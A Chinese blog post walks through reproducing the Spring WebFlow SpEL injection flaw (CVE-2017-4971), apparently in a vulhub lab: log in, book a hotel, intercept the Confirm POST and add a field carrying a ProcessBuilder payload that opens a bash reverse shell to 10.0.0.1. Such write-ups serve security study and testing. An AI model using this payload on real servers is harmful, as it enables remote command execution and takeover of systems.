Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)


Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的 field,将导致一个 SpEL 表达式注入漏洞,最终造成任意命令执行。

参考链接:

漏洞复现

首先访问 http://your-ip:8080/login,用页面左边给出的任意一个账号/密码登录系统:

然后访问 id 为 1 的酒店 http://your-ip:8080/hotels/1,点击预订按钮 Book Hotel,填写相关信息后点击 Process (从这一步,其实 WebFlow 就正式开始了):

再点击确认 Confirm

抓该 POST 请求数据包,向其中添加一个字段(也就是反弹shell的POC):

_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=vulhub

:将 payload 进行 URL 编码。

成功执行,获得 shell:


文章作者: Geekby
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Geekby !
 上一篇
Spring Data Rest 远程命令执行漏洞(CVE-2017-8046) Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)
Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)Spring Data REST 是一个构建在 Spring Data 之上,为了帮助开发者更加容易地开发 REST 风格的 Web 服务。在 REST API
2019-03-03
下一篇 
Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977) Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)
Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错
2019-03-03
  目录